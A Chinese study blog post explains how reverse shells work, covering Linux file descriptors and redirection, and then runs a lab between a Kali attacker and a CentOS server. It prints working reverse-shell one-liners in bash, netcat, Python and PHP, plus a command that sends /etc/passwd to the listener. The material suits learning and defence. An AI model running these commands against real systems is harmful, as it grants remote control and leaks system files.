0x00 前言
对于反弹shell,打比赛的时候也碰到过,也听学长说过,今天来学习原理并记录一下。
0x01什么是shell?
shell是操作主机的接口,反弹shell就是把shell送给别人,让其它人可以操作自己的计算机。
0x02什么是反弹shell?
黑客控制一台机器后,弹一个shell给自己,建立一个稳固的后门。
其过程就是攻击端监听某tcp/udp端口,受害端对该端口发出请求,并将自己的shell的输入输出转到控制端
0x03为什么要反弹shell?
常用于下列原因:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的
什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。
反弹shell的本质就是: 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
0x04反弹shell的原理
1.Linux里的文件描述符
文件描述符(file description) 是内核为了高效管理亦被打开的文件所创建的索引,就是一个非负的证书(通常是小正数),用于指被打开的文件,所有执行I/O操作的系统调用都通过文件描述符。
在Linux刚启动时,0是标准输入(默认设备键盘),1是标准输出(默认设备显示器),2是标准错误输出(默认设备显示器)。
文件描述符 | 用途 | POSIX名称 | stdio流 |
---|---|---|---|
0 | 标准输入 | STDIN_FILENO | stdin |
1 | 标准输出 | STDOUT_FILENO | stdout |
2 | 标准错误 | STDERR_FILENO | stderr |
注意:每一个文件描述符会与一个打开文件相对应,同时,不同的文件描述符也会指向同一个文件。相同的文件描述符也会指向同一个文件。
2.重定向
**
什么是重定向?
将原本要输出到屏幕的数据信息,重定向到指定的文件中。
重定向的含义:
> | 标准正确输出 ( 覆盖 ) |
---|---|
>> | 标准正确输出 ( 追加 ) |
2> | 标准错误输出 ( 覆盖 ) |
2>> | 标准错误输出 ( 追加 ) |
&> | -混合输出(标准输出、标准错误输出) ( 覆盖 |
&>> | 混合输出(标准输出、标准错误输出) ( 追加 ) |
输入重定向**
格式:n< file
解析器会从左至右解析语句,当解析到<时,会先处理重定向,将标准重定向到1.txt,之后cat再从标准输入读取指令时,由于已经重定向到了1.txt,于是cat就从1.txt里读取内容。
输出重定向
格式:n> file
将我们输出的内容重定向到1.txt里。
标准输出与标准错误输出重定向
**
格式:&> file
0x05 实验演示
- kail 192.168.46.129(攻击端)
- Centos7 192.168.46.131(服务器)
1.通过kail反弹shell
常见反弹shell命令格式
$ bash -i >& /dev/tcp/ip/port 0>&1
在kail中使用nc监听777端口
nc -lvp 777
在服务器端执行
$ bash -i >& /dev/tcp/192.168.46.129/777 0>&1
然后查看kail的IP地址
kail的IP地址已经变成了服务器端的地址,说明反弹shell成功,这就能对服务器远程操控了。
来说一下服务端执行命令的含义:
bash是Linux里常见的shell,Linuxde还有sh,zsh等等
-i 这个参数是产生交互式shell
/dev/tcp/ip/port
Linux有一个特殊的文件/dev/tcp,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,但如果你访问这个文件的位置它是不存在的。
这个文件的作用并不止一个,还有更多的骚操作
例一:
攻击者想要查看服务器的passwd文件的内容
cat /etc/passwd >/dev/tcp/192.168.46.129/7777
kail攻击端就可以接收到了passwd的内容
例二:
攻击机上输入
在服务器端
上面的操作还是比较麻烦的,不够“骚操作”
交互式shell重定向
1.将服务器端的输出结果重定向到攻击机端
**
bash -i > /dev/tcp/192.168.46.129/7777
通过重定向将标准输出的结果重定向到攻击机上,而受害机就不会有会显。
服务器端:
kail端
这样的操作是不是已经很骚了,但我还是不满足。
换个角度思考,我想要在攻击端输入命令,让受害机来执行并且将执行结果返回给我们,从而做到神不知鬼不觉的拿到了我们想要的信息,这操作是不是更骚。
根据上面的图,我们就以想标准输出重定向到攻击端,就将结果会先到了攻击端。那我们就可以在标准输入端做手脚。
看图
那就是
bash -i > /dev/tcp/192.168.46.129/7777 0>&1 2>&1
标准输入由攻击端输入,并且将标准输出返回给攻击端,形成一个回路,杀人于无形。
这种情况就类似于直接拿到了shell
0x06 常见的反弹shell的方法
上面的bash反弹也是一种常见的反弹shell
方法2:使用netcat(瑞士军刀)
kail先监听7777端口
nc -lvp 7777
服务器端执行
nc -e /bin/bash 192.168.46.129 7777
反弹shell到kail成功
方法三:使用python反弹shell
kail监听7777端口
nc -lvp 7777
服务器端执行
$ python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.46.129',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
成功反弹shell到kail
方法四:php反弹shell
kail监听7777端口
服务器端
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.186.128/6666");'
利用系统函数exec,执行bash,成功反弹shell
利用fsockopen连接
fsockopen — 打开一个网络连接或者一个Unix套接字连接
服务器端执行
php -r '$sock=fsockopen("192.168.186.128",6666);exec("/bin/bash -i <&3 >&3 2>&3");'
成功反弹shell
0x07 总结
通过这次的学习,收获很多。对重定向的学习,学习到了Linux的文件描述符,及其与文件的关系为后面学习反弹shell打下了基础知识的铺垫。从而对反弹shell的理解更加深刻。